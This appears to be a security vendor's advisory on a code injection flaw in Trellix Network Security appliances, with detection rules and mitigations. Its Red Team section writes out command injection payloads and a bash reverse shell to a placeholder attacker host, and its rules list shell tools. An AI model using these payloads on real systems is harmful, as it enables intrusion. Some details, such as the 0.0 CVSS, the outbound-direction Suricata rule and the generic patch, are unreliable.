CVE-2025-7958

Executive Summary

CVE-2025-7958 is a Code Injection vulnerability affecting Trellix Network Security CM and NX appliances. A locally authenticated admin user can exploit this flaw via the web interface by manipulating Alert artifact details, leading to arbitrary code execution on the underlying system. This vulnerability poses a significant risk to network security infrastructure, as it allows a privileged insider or an attacker who has compromised admin credentials to gain full control over the appliance. No public proof-of-concept (PoC) or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned)
• Threat Level: High (based on impact and attack vector)
• Attack Vector: Local (requires authenticated admin access)
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Deep Dive & Mechanics

The vulnerability resides in the web interface of Trellix Network Security CM and NX appliances. The application fails to properly sanitize user-supplied input when processing Alert artifact details. A locally authenticated admin user can inject arbitrary code (e.g., shell commands or script code) into these fields. When the application processes or renders the alert artifact, the injected code is executed with the privileges of the web server process, typically running as root or a highly privileged user.

The attack flow is as follows:

1. An attacker authenticates as an admin user to the Trellix web interface.
2. The attacker navigates to the Alert artifact details section.
3. The attacker injects malicious code into an input field (e.g., a command injection payload like ; whoami or a script injection).
4. The application processes the artifact without proper validation or escaping.
5. The injected code is executed on the server, allowing the attacker to run arbitrary commands, install backdoors, or exfiltrate data.

Vulnerable vs. Patched Code

Since no patch details are available, a generic vulnerable code pattern is provided:

Vulnerable Code (PHP/Python example):

<?php
$artifact_detail = $_POST['artifact_detail'];
system("echo " . $artifact_detail);
?>

Patched Code (PHP/Python example):

<?php
$artifact_detail = escapeshellcmd($_POST['artifact_detail']);
system("echo " . $artifact_detail);
?>

The patched version uses escapeshellcmd() to prevent command injection. In a real-world scenario, Trellix would need to implement input validation, output encoding, and parameterized queries.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Trellix Network Security CM or NX appliance (version unknown)
• Attacker: Kali Linux with admin credentials
• Tool: Burp Suite or custom Python script

Exploitation Steps:

1. Log in to the Trellix web interface as an admin user.
2. Intercept the request when creating or editing an Alert artifact.
3. Modify the artifact_detail parameter to include a command injection payload:

   artifact_detail=test;id
   

4. Send the request and observe the output of the id command in the response.
5. For a reverse shell, use:

   artifact_detail=test;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   

6. Set up a listener on the attacker machine: nc -lvnp 4444

Note: No public exploit code is available. The above is a generic example.

Blue Team

Detection Steps:

1. Monitor web server logs for unusual POST requests to artifact-related endpoints.
2. Look for command injection patterns in request parameters (e.g., ;, |, &&, $()).
3. Use endpoint detection and response (EDR) tools to monitor for unexpected process execution from the web server.
4. Implement strict input validation and output encoding on the web interface.
5. Restrict admin access to the web interface using network segmentation and multi-factor authentication.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /alert/artifact or similar endpoints with suspicious payloads.
  • Outbound connections from the appliance to unknown IP addresses on high ports (e.g., 4444, 8080).
• Host IOCs:
  • Unexpected processes spawned by the web server (e.g., bash, nc, python).
  • New files in /tmp or /var/www with suspicious names.
  • Modified system binaries or configuration files.
• Log IOCs:
  • Web server logs containing command injection patterns (e.g., ;id, |whoami).
  • Authentication logs showing admin logins from unusual IP addresses.

Detection Engineering

YARA Rule

rule CVE_2025_7958_Code_Injection {
    meta:
        description = "Detects code injection attempts targeting Trellix Network Security CM/NX"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7958"
    strings:
        $cmd1 = /artifact_detail=.*[;&|`$]/
        $cmd2 = /artifact_detail=.*\b(bash|sh|cmd|powershell)\b/
        $cmd3 = /artifact_detail=.*\b(whoami|id|cat|nc|curl|wget)\b/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-7958 Code Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects command injection attempts in Trellix web interface
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'artifact_detail'
        cs-uri-query|re: '.*[;&|`$].*'
    condition: selection
falsepositives:
    - Legitimate admin actions with special characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7958 Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"artifact_detail"; http_client_body; pcre:"/artifact_detail=.*[;&|`$]/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Restrict admin access to the web interface to trusted IP addresses only.
  • Implement multi-factor authentication for all admin accounts.
  • Monitor logs for suspicious activity related to artifact details.
• Long-term Fix:
  • Apply vendor patches as soon as they become available.
  • Implement input validation and output encoding in the web interface.
  • Conduct a security audit of the application code.
• Workarounds:
  • Disable the Alert artifact feature if not required.
  • Use a web application firewall (WAF) to block command injection attempts.

Valters IT
Securing Digital Frontiers